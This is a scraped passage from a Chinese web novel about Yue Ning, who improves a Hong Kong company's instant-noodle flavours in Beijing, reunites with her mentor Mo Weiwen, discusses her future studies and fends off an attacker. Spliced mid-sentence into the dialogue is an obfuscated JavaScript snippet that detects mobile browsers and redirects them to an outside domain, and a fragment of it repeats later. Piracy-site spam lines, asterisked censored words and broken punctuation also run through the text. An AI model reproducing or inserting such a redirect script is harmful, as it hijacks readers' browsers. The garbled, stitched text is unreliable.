崔慧仪点了点头：“我们用的是马来西亚精炼棕榈油,面饼没有杂味。” “面也很劲道，他们的面一泡就软塌塌的。” 谢厂长无奈地说：“我们的设备是国产的,你们问问崔总的设备是哪儿的？” “我们引进的是全套日本的方便面生产线。” “老祖宗都做了几千年的面条，生产线还要靠日本？”说话的人回味了一下嘴里的味道，“不过说实话,这面确实好吃很多,小鬼子还是有两下子的。” “崔总，你要求可真高，我们觉得这个方便面已经很好吃了。” “对，对！很好吃了。” “这种方便面肯定会被抢购。” “对了，崔总,你们什么时候跟谢厂长这里合资？” “崔总合资之后,会用日本的生产线吗？” “崔总，你们合资之后,配额是不是会多一点，我们能不能多拿点货？” “对啊！对啊！要批条子吧？” “……” 听到这样的评价，崔慧仪一时间觉得自己是不是想得太多了？看起来大家都很喜欢他们的面。 有些事啊，自己琢磨是没用的，还是得让专业的人来品评，比如这群人就是这个领域的专业人士，他们了解这里的市场…… “什么味道？” 空气中鸡饭的香气还未消散，一股酱香冲散了原来的香味。岳宝华端着一个搪瓷盆，岳宁端了一个碗，两人来到了窗口前。 他们一到窗口，人们便围了过来。岳宁 手里是一碗油润的褐色酱料，岳宝华的盆里是煮过的方便面。岳宁当着所有人的面把酱料倒入方便面里，快速拌匀，酱香随着方便面里的蒸汽升腾起来，大家的肚子又开始咕咕叫了。 岳宁抬头看向崔慧仪：“捞面，你先尝尝？ 崔慧仪递上她的碗，岳宁给她夹了一筷子面条：“回港城，我们一起改良一下面饼，捞面的面饼要更劲道些。我还有一个浓汤面，马上也好了。 岳宁把打面的工作交给打饭阿姨，自己继续回到灶台，她在等炉灶的余温把高汤粉焙干。 被油润的酱汁裹住的方便面，送入口中，大家只觉口水四溢。以前只知道方便面是为了方便，从没想过它能如此美味。 所以刚才大家觉得港城那个方便面只要面饼没有油腥味，汤料鲜咸，就已经很好吃了，肯定能大卖，可现在他们不这么想了。 岳宁拿了一个碗过来：“酱料里没放辣，谁要加点辣椒油吗？ “吃完了。有人抬头说，“再来一口，我加辣试试。 “没了，全都没了。 “还有吗？我吃辣，我要加辣。 “那……那就算了。要不等下加在鸡汤面里？岳宁笑着问道，“味道还可以吧？ “你们能卖这个酱料吗？有人问。 “对，对，就这个酱料，拌饭拌面都好吃。 岳宁伸手示意崔慧仪：“你跟崔总商量，我只是帮她来改良口味的。 崔慧仪笑了，方便面竟吃出了新业务，酱料？可现在不是应该先回去开发这个新品捞面吗？不是说为了适应北方人的口味吗？怎么她这个港城人也觉得超级好吃？ 崔老板还在品味嘴里的味道，他是做调味料起家的。 年轻时，他替马来亚的一家糖厂做代理，把糖卖进了立德。他勤快，只要客户有需求，都会想尽办法满足。那时候肉桂粉还不是很普及的调料，立德一直合作的那家洋行没有准时给立德供应肉桂粉，立德的人给他打电话，他连夜跑遍港城，都没买到足够的肉桂粉。后来他打听到河内一家商行有货，便让人搭第二天的班机，把肉桂粉送进了立德。虽说花了大价钱，他却只收了正常肉桂粉的价格。 经此一事，立德的项老板对他好感大增，调料生意全部交给他做。 战后的港城，华人上层大多是从上海来的富商，小部分是像他这样从潮汕到港城讨生活慢 慢发迹的人。入了项老板的眼，就能融入他那个圈子。通过乔家，他的货品打入了鸿安超市和鸿安百货，销路一下子拓宽了，生意蒸蒸日上，后来他自己建起了调味品厂。项老板也看中了他，到最后还把独生女儿嫁给了他。 作为一个白手起家，打拼到如今身价的老板，他在这个酱料里尝到了当年让他事业腾飞的肉桂粉的味道。 “各位，我们崔家除了做方便面，还做调味料，崔记的调味料不仅在港城有名，在整个东南亚市场乃至欧美市场都有销售。这个酱料确实非常好吃。回港城后，我们也会尽快考虑来内地合作调味料的事宜。”崔老板跟大家说。 “你们都有什么调味料呀？” “除了日常的酱油、蚝油，我们还有南方的沙茶酱、柱候酱、叉烧酱等特色调味料，还生产番茄沙司、咖喱酱等风味酱料。”崔老板信心满满地看向还在忙活的祖孙俩。他和岳宝华相识多年，当年岳宝华连烧腊的方子都给了辉煌，看来下一代的情谊也能延续。他说，“等回去之后，我们会好好研究开发针对内地，尤其是北方市场的酱料。” 岳宁这边已经准备好了，她端了一碗料，提了一个暖水瓶过来：“姐，这就是我做的高汤粉。你来冲调，我去煮面。” 打饭阿姨拿来一个搪瓷盆，崔慧仪放入高汤粉，用热水冲下去，开水瞬间变得奶白起来。 岳宁把煮好的方便面端了过来，倒入冲调好的面汤里，再加了一勺蒜香鸡油，带着遗憾的口气说：“我怕麻烦，尽量选了常见的材料，而且时间有限，也没有做与高汤配合的油料包，这个汤料做出来还是有些寡淡。大家凑合着吃，尝尝味道。” “你这还叫尝尝味道？”第一个吃到面条的大哥说，“这都像家里炖的鸡汤了。” “也不是，家里的鸡汤只有鸡汤香，没有这个香气。” “我还是喜欢刚才的拌面。” “对，那个拌面真的绝了。” “……” 显然，这个鸡汤面比圆仔面的调味料更出色，但是刚才拌面酱料的冲击太过强烈，大家一致认为这个汤面很好，可还是没有拌面好吃。 岳宁还在等崔慧仪表态，却发现崔慧仪正含情脉脉地盯着她，岳宁被盯得头皮发麻：“姐，你这是？” 崔慧仪做梦都想进入日本市场，如今日本经济如烈火烹油般繁荣，日本人到处买买买，为了吸引 日本游客，全世界著名旅游地都挂上了日语牌子。 立德的圆仔面，说白了就是跟风日本清仔面，过去根本毫无辨识度。 然而，在这个鸡汤面里，她吃出了日本拉面里黑蒜油的味道，还有拉面的浓郁。要是用这个配方进军日本市场？崔慧仪越想越兴奋。 崔慧仪回过神来：“我大致有数了。 她站起身，向在座的各位鞠躬：“今天辛苦大家了，等我跟商委商量一下后续事宜，我会通过谢厂长跟大家联系。 “崔总，尽快给我们消息，要是能解决配额的问题就更好了。 “是啊！是啊！我们都等着。 崔慧仪点头：“我会尽快，不过我对内地的流程不太熟悉，只能一步一步来。 “崔总，那我们就等你好消息。 崔慧仪与他们道别，张师傅是个特别喜欢听好话的师傅，岳宁不停地夸赞他，他如同遇到了知己：“下次来北京，来找我玩。 “嗯，我姐要投资呢！这次只是第一次来试试，方子还要改进，到时候肯定要来的，还得请您这个老师傅指导。 说全网首发无弹窗免费阅读ｃａｉxs**(请来才小 说 看最新章节 完整章节) “这不是一句话的事儿？张师傅说。 “下次我来北京，要多住几天，一定要吃您亲手做的炸酱面。 回程时，谢厂长和刘主任就不送了，大家挥手告别。他们上了车，崔慧仪用粤语问崔老板：“爸，您觉得可以投吗？ 这还用问吗？岳宁的做法，已经开拓了新的思路。崔老板说：“我没意见，这个配方都是宁宁给你出的，你应该知道怎么做。 “当然。崔慧仪说完，转头对岳宁说，“宁宁，刚才我喝你调的鸡汤面时，你知道我想到了什么？ 岳宁不能告诉她，应该是日本拉面，这个高汤料的灵感来源于潮汕牛肉汤。不过她这个人的一大特点，就是喜欢融合，从各种菜系中汲取灵感，要不然他们的烧腊饭在日本店也不会排起长队。用昆布、木鱼花调味的烧腊，传到国内，一边是老祖宗的棺材板都快按不住了，另一边却是顾客纷纷要求国内也推出日版烧腊。 反正，她的宁烧腊不一定是最好吃的餐饮品牌，但一直是热度最高的餐饮品牌之一。 “什么？岳宁问崔慧仪。 “像日本拉面。我都能想象，我可以开拓日本市场了。崔慧仪兴奋地说。 岳宁摇了摇头：“这个汤不行，用料不够，回去还得再 试试。 “我知道。我的想法是，你帮我再改良改良，这一款我给你授权费，每一袋上也标注出自宝华楼。行不行？ 岳宁依旧摇头，崔慧仪这下着急了，她说：“宁宁，你到底想怎样？你就告诉我嘛！ 岳宁索性坐过去，贴着崔慧仪的耳朵说：“你家二太一直盯着我。她这是要干什么呢？ 岳宁这么一提，崔二太又收到崔慧仪的一个白眼。 “我打算推出一整个港式系列的捞面，有豉油鸡味、港式烧鹅味、叉烧味，汤面也做一个系列，主打汤鲜味美。 崔慧仪瞪大了眼睛看着她：“回宾馆再说？ 岳宁点了点头：“秉烛夜谈。 “嗯。 “姐姐，你了解港城的报纸、杂志、电视台、电台吧？岳宁问。乔君贤也刚回港城，虽说他姑夫是港城媒体大亨，但他应该不太了解里面的具体运作。崔慧仪既然把圆仔面推向了市场，她应该更熟悉。 崔老板现在满心欢喜，但他知道心急吃不了热豆腐，不能像女儿那样，把喜欢毫无掩饰地摆在脸上，这种事得慢慢来。 下午跟岳宝华、乔启明聊天时，得知岳宁的亲妈跑到港城来了，这不就是个机会吗？他问：“宁宁想找妈妈吗？这很容易，让乔君贤找他表哥，亨通电视台、电台和报纸都有，肯定能马上找到。 崔二太眼睛里又燃起了希望之火。 “不是不是！岳宁连忙否认，“崔世伯，您别瞎猜，对这个妈，我唯一的希望就是她一辈子别来打扰我。我有点生意上的小事，要跟姐姐商量。 崔二太瞬间失望了。 “什么事？崔老板问。 岳宁脸上露出为难的神色，崔慧仪也不想在二太面前谈生意，她说：“你等会儿跟我说。 车子到宾馆大楼停下，几个人下车往里走。 岳宁陪着爷爷往里走：“姐，我先回房间洗个澡，等下去你房间找你。 “好啊！ 两人商量好，却见乔家祖孙俩从电梯出来朝这边走来。 乔君贤看到他们，小跑几步问道：“怎么样？ “你知道我今天吃什么了吗？崔慧仪眉飞色舞地说。 “吃什么了？ 崔慧仪得意洋洋地说：“宁宁亲手做的东平鸡饭，我从来不知道鸡饭可以这么好吃。 “是吧？是吧？我一直吃华叔的拆鱼羹，吃岳宁做的拆 鱼羹时明明用料不一样但口感跟华叔做得一样好。好可惜啊！我没吃到。”乔君贤把话题转回来“所以你们试得怎么样？” “给我打开了思路我发现不仅是内地市场就连日本市场都有了方向。”崔慧仪见乔启明也在听她说“乔爷爷您在港城的老板中素有公允之称今天宁宁给我指明的方向帮助很大我白拿她的方子和点子不太好想请您给个建议怎么分配我们之间的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15912448|176918||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利益这样才能长久合作下去。” 乔启明笑了：“今天不行君贤的小姨和小姨夫刚才吃饭吃到一半有紧急的事被叫走了现在刚结束正赶过来呢。再约时间吧你们也不急于这一天两天的回港城坐下来谈也行。” “爷爷小姨和姨夫来了。”乔君贤先一步迎向门口。 岳宁看到门口出现一男一女他们从大门口的光影里走进来。那个男子灰白头发 那是……那是……岳宁踉跄地往前走了两步飞快地越过乔君贤语气早已哽咽：“伯伯……” “囡囡……”那个男子把包交给身边的女子也快步迎了过去。 一触碰到莫伯伯岳宁的眼泪就止不住地流。 崔老板很惊讶岳宝华的孙女怎么对着一个文质彬彬的男人哭起来了？他看向岳宝华岳宝华也一脸茫然。 乔启明走过来到岳宝华身边：“我就说宁宁的见识怎么看都不像在山村长大的孩子。这下谜团解开了。” “怎么说？”崔老板好奇地问。 “这是君贤的小姨夫吴越莫家的人。”乔启明说道。 岳宝华这下知道这就是宁宁提过的那个莫伯伯可**什么是吴越莫家。 崔老板带着羡慕的口气说：“宁宁这个机缘可不得了。” 女子递上手帕男子拿着手帕给孩子擦眼泪：“囡囡不哭了。” 这可是他疼了这么多年的囡囡啊！ 当年他和小岳父女前后脚到西北改造被安排住在一起。 他自己的问题比他们父女俩严重经历了几次反复折腾膝盖落下了毛病。岳志荣为了不让他再被折腾主动帮他完成当天的任务。 他们本就身份特殊那时杨福根还没从部队回来他们干的全是脏活累活他心里怎么能过意得去？ 岳志荣安慰他大家都是难兄难弟不互相照应还能怎么办？ 他自己有两个女儿，小女儿比岳宁只大一岁，看到岳宁就像看到自己女儿似的，叫岳宁“囡囡。 岳志荣认为孩子应该多读书，这正合他心意。他感激岳志荣，又喜欢岳宁，一有时间就教小娃娃认字、念儿歌，写字画画。 甚至等岳宁大些了，开始教她英文，他总是说：“囡囡，这个国家不可能一直闭关锁国，外面有很多新技术，需要懂外文的人去交流、去学习。你悄悄地学，好不好？ 他总觉得自己活不到回家那一天，却没想到一直身强力壮的岳志荣，一场风寒后，身体就垮了。 岳志荣临终前，那时还看不到头，他自己也是自身难保，所以即便他说会照顾好岳宁，志荣还是走得不安心。 岳志荣走后，就剩下年仅十三岁的岳宁和伤病缠身的他。 他的爱人庄宝如一直在为他奔走，终于一年多后，莫维文的问题调查清楚了，他拿到了调回上海原单位的调令。 他舍不得丢下看着长大的囡囡，一个女孩子在大西北太难了。然而上海那边是不顾一切为他奔走，一次次碰壁却仍不放弃的妻子，还有等待他回家的两个女儿。 “伯伯，您看现在，福根**都安排我放羊了，我还有阿根叔和春梅婶他们照顾。 他走的时候，岳宁笑着送他出了村，送到公社，看着他上了汽车，一滴眼泪都没掉。 他走后，知道自己能回去全靠爱人不顾一切的努力，而且上海和粤城相隔千里，他也没法为小丫头做什么，只能寄点粮票、布票，汇点钱过去，让她能过得宽裕些。 小丫头把东西全给他退了回来，说自己什么都不缺，尤其是六指阿根很照顾她，分她一些下水，放羊的活儿也挺轻松，还能去挖野菜。信里写得满是生机，他知道这孩子就是这样的脾性，即便再寄东西过去，她也不会收。 没多久，国家宣布恢复高考，他立刻给囡囡拍了电报，又寄去学习资料，千叮咛万嘱咐，让她一定要报名参加高考，且一定要报考上海的学校。谁能想到，第一次高考，囡囡因政审被卡住了。好在大半年后，又举行高考，这次政策放宽了。可小丫头写信来说，他们那儿爆发了羊瘟，她没办法离开，就这样又耽搁了一年。 眼瞅着再过半个月就要高考了，囡囡怎么会出现在北京？莫维文猛地一个激灵，轻轻推开岳宁，焦急地问：“囡囡，你不是要 小说更新，记住域名ｃａｉxs?(请来才 小说 看最新章节 完整章节) 高考了吗？不在家好好复习，怎么跑北京来了？ 岳宁哭得鼻子都堵住了，回头看向岳宝华，瓮声瓮气地说：“爷爷去西北找我了，要带我去港城。 岳宝华听到提及自己，走上前去，说道：“莫先生你好，我是宁宁的爷爷。 莫维文伸手与他握手：“知道，小岳提过您，说您厨艺极为了得。 岳宁擦了擦眼泪，转身面向莫伯伯的爱人。她们虽通信许久，却这是第一次见面，岳宁轻声唤道：“大妈妈。 庄宝如伸手温柔地擦去岳宁脸颊上残留的泪水，亲昵地回应：“囡囡。 乔启明走过来，说道：“维文、宝如、宁宁，咱们别在门口站着了，上楼找个地方坐下慢慢聊。 “小姨、小姨夫，爷爷让我在楼下等你们俩，既然你们和岳宁都认识，那再好不过了，一起上楼聊聊？ “好啊！莫维文伸手示意，“岳先生，请。 岳宁挽住庄宝如的手臂，转头对崔慧仪说：“慧仪姐，我先陪我伯伯和大妈妈了。 崔慧仪点头：“去吧！ 崔老板望着他们的背影，二姨太悄声问道：“乔君贤的小姨和小姨夫是什么来头？ 崔老板说：“他小姨，是南洋叶家的养女，叶家小姐，这身份自不必多说。吴越莫家，别说有着六七百年的历史，单论近百年，能被载入史册的人物就不止一个两个，用老话说，那可是书香世家、清贵门第。 崔老板这么一说，崔慧仪忍不住翻了个白眼，说道：“叶家再豪富，莫家再显贵，都比不上他们夫妇俩自身出众。君贤说过，他小姨在舰船设计方面近乎天才，小姨夫师从数字信号之父，是通讯领域的杰出人物。新中国成立后，他们二人突破重重阻碍回到祖国。能与这样的人物相遇，才是宁宁最大的机缘。 二太太望向正在等电梯的几个人。 只见岳宁带着小女儿的娇态，轻轻推着她的莫伯伯走进电梯。 第 27 章 刻苦学习的岳宁 第27章第27章 【刻苦学习的岳宁】 莫维文走进电梯,问道：“那你这个时候去港城，就不参加高考了？” “打算去港城，考港城的大学。”岳宁回答。 莫维文摇了摇头,说：“我个人觉得,你可以按原计划参加今年的高考,考我们学校。读两年后，我和你大妈妈都有朋友，到时候能找他们给你写推荐信,你再去港大继续深造，这样就方便多了。你小雅姐姐正在准备申请美国P大，如果顺利，她明年就能去美国上学。要是你现在去港城……” 电梯门开了,莫维文走了出去,继续说道：“在这里高考，让你考上海的学校,是我们想把你留在身边有个照应。凭你的本事，说实话，国内的学校你随便考。可去了港城,虽说你有基础,但学的东西完全不同，等于要重新开始，这就很麻烦，明白吗？” “知道，那就花时间补。”岳宁说道。 庄宝如说：“维文,这事一句两句也说不清楚,先去启明叔那里。等会儿咱们俩跟囡囡和岳先生好好聊聊，把利弊分析清楚,让囡囡自己做决定。” “对啊！有什么事坐下来再说。”乔启明也跟着说道。 走进乔启明的房间，庄宝如说：“启明叔，借卫生间用一下。” “去吧！” 庄宝如走进卫生间，绞了一块热毛巾出来，递给岳宁：“囡囡，擦擦脸。” 岳宁擦完脸，起身想自己去放毛巾，却被庄宝如接过。庄宝如放好毛巾，回来在岳宁身边坐下。 乔家和莫家解放前在上海就是旧相识，乔君贤的妈妈和庄宝如又是姐妹。 如今又有了岳宁这段渊源，原本不太愿意提及下乡经历，免得亲友伤心的莫维文，也开始说起在西北的过往，不停地讲岳志荣帮他做工分、照顾他的事。他说：“到了乡下，我真是百无一用是书生。小岳走了后，还得囡囡照顾我。大冬天我发病，是囡囡在风雪里背着我去大队，再坐拖拉机去公社卫生院。” “伯伯，您怎么就记得这些。”岳宁皱了皱鼻子，跟庄宝如说，“我可不一样，大妈妈，您不知道，莫伯伯可可怕了。他休息的方式就是换一门课学。学完数学，就让我背两篇古诗词放松；学了语文，又让我做两道物理题换换脑子。” 庄宝如笑着说：“我怎么会不知道 ？你的那些教材，还是我从我们学校的附属学校拿的呢。而且，他回来之后，你小颖姐姐和小雅姐姐不是要参加高考吗？他也是这么要求她们的，你姐姐们反抗，他还说，‘宁宁比你们小，从来都不喊苦。’ “真的啊？我只要一反抗，他就把课本往边上一放，静静地看着我。我爸像是接收到了什么信号，立马过来念叨，他们俩车轮战术，我除了认命还能怎么办？岳宁嘴上这么说，可一瞬间眼睛又热了。那时候，她就盼着两人都走开，让她喘口气。可后来，这两人，一个去世了，一个去了**之外。 “都过去了。庄宝如搂住她。 “嗯。现在至少我又能见到伯伯了。 “这个世道啊！谁能没点遗憾呢？乔启明重重地叹了口气。 岳宁明白乔启明在叹息什么。来的路上，乔君贤也曾安慰过她，这世道曲折太多，乔启明的大哥也是在这些年里离世的。 乔启明说起了领养庄宝如的叶老太太，老太太临死都没能见到庄宝如，实在令人遗憾。 想起这些，庄宝如眼圈红了。在她失去双亲、流落难民营的时候，叶家给了她一个家，让她再次有了亲人。叶家一大家子人都疼她，还送她去美国念书。 五十年代，她在美国参与军舰设计，然而美国的航母全部开往朝鲜战场，航母上起降的飞机，轰炸的是她的同胞。华先生的一句“梁园虽好，非久居之乡，归去来兮 即便丈夫去了西北，即便经历了诸多艰难，她也从未后悔过。只是深夜想起远在南洋的家人，一年一年算着祖父母的年纪，心里满是愧疚。国门打开后，大姐和大姐夫第一时间给她来信。幸运的是，祖父母高寿；遗憾的是，二老均已过世。 好在夫妻俩已经决定，等暑假，他们带着两个孩子一起回新加坡，去叶老太爷和叶老太太坟前祭拜，告诉二老他们一切都好。 家常聊得差不多了，莫维文看向岳宝华：“宁宁爷爷，您和启明叔是老友，我和小岳是患难兄弟，既然都是亲近的人，我就直说了。 刚才在电梯里莫先生的那番话，让岳宝华才知道孙女还有更好的安排。他说：“他伯伯，宁宁是你和志荣一起带大的，你肯定都是为了她好。是我考虑不周，一心想把孩子带回港城。 爷 爷真是的，潜意识里觉得他们父女遭遇这些都是他的错，也不管前因后果就认错。岳宁转头看向岳宝华：“爷爷，一开始我跟您说过我要参加高考吗？跟不跟您回港城是我自己决定的。” 岳宁又看向莫维文：“伯伯，爷爷来找我，刚开始我拒绝去港城，因为我觉得爷爷在港城已经有家庭了。我原本想走的路，是高考，然后找机会开饭店，积累第一桶金。但我听说爷爷这么多年孤身一人，将心比心，我没有爸爸的时候，还有您在我身边。爷爷一直盼着国门打开，可等来的却是儿子去世的消息。我要是放他一个人在港城，他得多伤心、多孤独？要是我在他身边就不一样了，我就是他的希望。” “宁宁。”岳宝华没想到孙女跟他回港城，是完全站在他的角度考虑，只想代替她爸爸陪伴他。 “爷爷，我有我的想法。”岳宁见岳宝华的表情，继续说道，“伯伯，经过这两天，我又不这么想了。我觉得我先去港城，比留在内地上学更有意义。这两天，我和乔君贤聊了小家电的生产。他应该会投资一家电风扇、收音机厂，对吧？” 被岳宁提到，乔君贤点头：“是的，是的。姨夫，我本来想把我代理的一个德国家电品牌引入内地，但岳宁给我分析了，说国家没多少外汇储备，卖进口产品行不通。投资的话，我拿不出几个亿港币，德国人也不可能投资。眼瞅着这生意做不下去了，她建议我做收音机和电风扇之类的小家电，投资少，市场规模也不小。目前这个设想已经得到爷爷和爸爸的支持，我联络了商委，想在蛇口工业区开一家厂。” 乔启明接过话：“家和也跟我说了这件事，他和应漪认为，目前油价大涨，美国通胀高企，节约能源的电风扇可能是个好项目。” 岳宁笑了：“您知道，现在两边相互不太了解，港城的商人对内地还在观望和犹豫。就像刚才那位崔家姐姐，她已经是很想来大陆投资的港商了，可心里还是很担心。” 莫维文点点头，乔老板全凭一腔爱国之心，给从未做过国际标准的国内船厂下订单。大部分商人还是逐利的，有担心很正常。 岳宁接着说：“我今天和她一起去了食品厂，首先我们发现食品厂一位食堂师傅手艺不错，可做事没积极性，还骂来采购产品的客户是‘孙子’。我通过这件事告诉崔姐姐，内地不缺人才，缺的是发现人才的方法 和激励人的办法。我帮她试了高汤料和酱料，让她确信她的方便面在内地肯定能打开市场，高汤料甚至给了她启发，让她看到了开拓日本市场的可能。把合适的人，在合适的时间，放在合适的地方，发挥最大的价值，我觉得这样做更有意义。如果我在港城，能多做一些这样的事，给想回内地投资的港商一些力所能及的帮助，那也很有价值。 岳宁说起这些的时候，眼里闪着光：“另外，我想等他们的厂开起来后，介绍忠义叔、春梅婶，还有阿彪、秀秀他们到外头打工。甚至慧仪姐的厂，如果规模扩大，需要鸡鸭的定点供应商，我能不能借钱给阿根叔在鹏城办个饲养场呢？要是我能带着小杨沟大队的一部分人脱贫，让他们能吃饱饭，这不比我去上海读大学更有意义吗？ 想到孩子不参加高考，莫维文心里着急。可听着孩子从家庭情感到社会效益，而且她确实已经付诸行动，也有能力这么做，他点头道：“只是你爸爸一直希望你能念书，有文化。而且这么多年，你那么刻苦，不觉得可惜吗？ “那就再刻苦一点。这几天的经历让我明白，现阶段去上海学外语也好，学经济也罢，都不是很好的选择。很明显，上海的外语教学比不上港城，在内地还没完全搞清楚计划经济和市场经济的情况下，经济方面的学科肯定也不如港城。书肯定要读，但早一年晚一年没那么重要。我已经问过乔君贤港城考大学的情况了……岳宁把自己的打算说给莫伯伯听，“一年考不上满意的学校，那就考两年。边做事，边学习。 庄宝如看着男人：“囡囡自己想好了，这下你该放心了。 “是啊！莫维文舒了一口气。 庄宝如站起身：“不早了，我们俩回招待所吧。 “小姨、小姨夫，都这么晚了，我下去开一间房，你们俩就在这儿住一晚吧？乔君贤说。 庄宝如摇头：“招待所不远，走过去也就十来分钟。这次我和好几位同事来北京开会。本来你大姨夫和你爷爷来了之后，就有人传我要回新加坡。自从国门开放，有好些人走了，领导们也紧张。我们俩要是在这儿住一晚，明天又不知道会传出什么闲话。虽说流言不算什么，但多一事不如少一事，还是让大家把精力都放在造船上吧。 “是啊！我们走了。反正我们已经安排了八月份去 新加坡，也会在港城住几天，很快就能见面了。莫维文说。 大家一起下楼，送夫妻俩出大门口。莫维文说：“囡囡，伯伯实在抽不出时间，你帮伯伯在你爸爸坟前说一声，以后我再去看他。 岳宁点头，跟着两人下台阶：“伯伯、大妈妈，我送你们去招待所。 “很晚了，送我们做什么？莫维文说。 “想跟你们多聊会儿天。 “要说就在这儿说，别去了，来来**多麻烦。 “我就去，我就去嘛！岳宁坚持要去。 乔君贤也跟了上来：“小姨、小姨夫，我和岳宁一起送你们，这样我们回来还能有个伴。 “你们俩呀！ 乔启明笑着说：“让他们去吧！ 岳宁挽住庄宝如的胳膊：“大妈妈，我们走。 四个人一起往外走，长安街繁华热闹，灯火辉煌。转入胡同后，隔了很长一段路才有一盏挂在墙上的昏黄路灯。一只猫蹿上围墙，踩出些许声响。好在四个人一起走，又在谈事情，倒也不觉得害怕。 莫维文虽然认同岳宁说的话，但想到她要换一个完全不同、难度还高很多的考试体系，哪怕知道孩子底子扎实，可港城的英文中学他了解，他怎么能放心得下呢。 “姨夫，您别担心了，我相信岳宁有志者事竟成。她还想着把一盘拌萝卜丝卖八百八，卖给有钱人呢！乔君贤安慰莫维文。 “一百八，是一百八。岳宁纠正道。 莫维文听得一头雾水，乔君贤便把岳宁想读硕士，然后开高端餐厅的事说了出来：“她说她善良，不骗穷人。 “后来，我又想了想，我也没打算骗富人。这一百八里，八块是能看到的价值，一百七十二卖的是内心的满足感，是无形价值。 莫维文又好气又好笑，庄宝如也忍不住笑了：“囡囡，你从小在大西北长大，满脑子的资本主义想法是从哪儿来的？资本主义的那些珠宝、高级服装，就是不讲实际价值，就是要让穷人买不起，给富人心灵上的满足。 “爸爸逼我练切土豆丝，说土豆丝要切得跟头发丝一样细。我就纳闷了，切成筷子一样粗，这土豆丝就不好吃了？你们知道我爸怎么说的？ 乔君贤很配合地问：“你爸怎么说的？ “他说：‘筷子粗的土豆丝只能卖一分钱，头发丝细的土豆丝能卖一毛钱，你愿意学吗？ ’我当时就回他：‘哪个傻子愿意多出这么多钱吃一个土豆？’他跟我说：‘这可不是傻子还得是老饕他们这叫讲究。我们要把高价的功夫菜卖给讲究的人。’然后他跟我讲那些富人为了猎奇吃的东西包括三吱儿。我一听这简单不就是去找一窝小耗子……” 莫维文脸色变了他想起了那个画面：嫩嘟嘟的小囡囡小心翼翼地捧着一窝刚出生的小耗子一双纯真的眼睛忽闪忽闪：“莫伯伯我们今天晚上吃三吱儿好不好？”吓得他心脏病都快犯了这事他能记一辈子。 莫维文赶忙制止她说下去：“别说了别说了。去了港城你爱做什么菜就做什么菜别弄这些奇奇怪怪的东西知道吗？” 岳宁乖巧地点头：“知道知道。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚才来的路上，岳宁就留意到这一段路了。这条路两边都是设计所、工商单位之类的，单位大门又不朝这边开，两边是高高的院墙。将近百米的路上，只有左侧院墙上装了一盏灯。这种地方要是一个年轻姑娘被堵住，那可真是叫天天不应，叫地地不灵。 岳宁的这种反应能力也是这些年练出来的。 哪儿都有好人，也有坏人。小杨沟这几年在杨福根的教导下还算太平。阿根把拐卖来的女人送走，得了个“傻子的称号，却也得到了实实在在的好处，做兽医多好啊。 小杨沟还算好，可临近的大队呢？她爸**，莫伯伯也走了，她又长大了。自家大队里的人知道她力气大，别的大队的人可不知道。好几个娶不上媳妇的光棍，把主意打到了她这个长得漂亮、出身不好的孤女身上。 有趁着她放羊，当着她的面撒尿，结果被她用羊铲铲起土块砸得差点**的；也有深更半夜偷偷摸摸溜到她家，被大黑追得摔得狗啃泥的；更有跟踪她，趁她上山挑水落单，妄图生米煮成熟饭，却被她按在水桶里差点丢了性命的。 凭借这些彪悍的“战绩，她终于在全公社出了名，再也没人敢对她动歪念头。 这人嘴巴里吐出一颗带血的牙齿，说话漏风地求饶道：“姑奶奶，您就放了我吧！我从内蒙下乡回来都两年了，到现在还待业没活儿干，实在是过不下去了。 “下乡的知青？ “我是去内蒙的知青。 “哦！岳宁问他，“读过蒲松龄的《狼》吗？ 这人一下子懵了，心想这跟知青能有啥关系？ 岳宁一只手捏住他的下巴。刚刚被岳宁胳膊肘重击的下巴，哪里经得起这样的力道？疼得他嗷嗷直叫：“读过，读过。 “背给我听。 “背……背……不出来。 ”这都是什么情况啊？这人以为自己碰上疯子了，心里愈发惊慌。 岳宁温柔地笑了笑：“那我背给你听，好不好？” 在这天上挂着一弯冷月，边上树影摇曳的深夜，她的这个笑容显得格外阴森。 “有屠人货肉归，日已暮。欻一狼来，瞰担上肉，似甚垂涎，随屠尾行数里……” 当年岳宁学这篇文章的时候，被莫伯伯逼着背书，都背得没了生趣。 她的声音就像小和尚念经，平淡得毫无起伏。躺在地上的这人看着她，此刻不觉得她是个疯子了，倒像是一个没有生气的鬼魂。 这人满心惊恐，盼望着远处的人快点过来。他实在不想在这深夜里，听她念这些东西，实在是太诡异了，他……他感觉自己都快不行了。 终于，远处手电筒的光照射了进来。看到有人走进，这人拼尽全力大喊：“救命！” 乔君贤跑得气喘吁吁，看到岳宁压着那人，被她压住的人面色蜡黄，裤子下面一滩尿渍。 “救命啊！救命啊！她不是人……不是人……” “我怎么就不是人了？”岳宁捏着他的下巴问道，那人又疼得嗷嗷大叫。 乔君贤身后的两个人，看着地上那个仿佛只剩半条命的人，不确定地问：“就是他**你们？” 刚才乔君贤说他妹妹被**，他们想都没想就跟着跑了，担心小姑娘遭遇抢匪……可眼前这情形，到底谁抢谁啊？ “是啊！”岳宁肯定地回答，然后问乔君贤，“报警了吗？” “马上就来。”乔君贤回应道。 话刚说完，摩托车的大灯照亮了这条路，一辆双人摩托车驶到。从车上下来两位身着白色制服的**同志。 一见到警察，岳宁立刻放开地上的人，站起身来：“同志您好，我们遇到**……” 那人回过神，爬起来，恨不得立刻扑到**同志身上。岳宁好心提醒道：“你都尿裤子了，注意点，别弄脏**同志的衣服。” “你不是人，你是鬼。”那人满眼惊恐，指着岳宁说道。 **同志脸色一沉，给那人戴上**：“这是新中国，信奉唯物主义，哪来的鬼？” 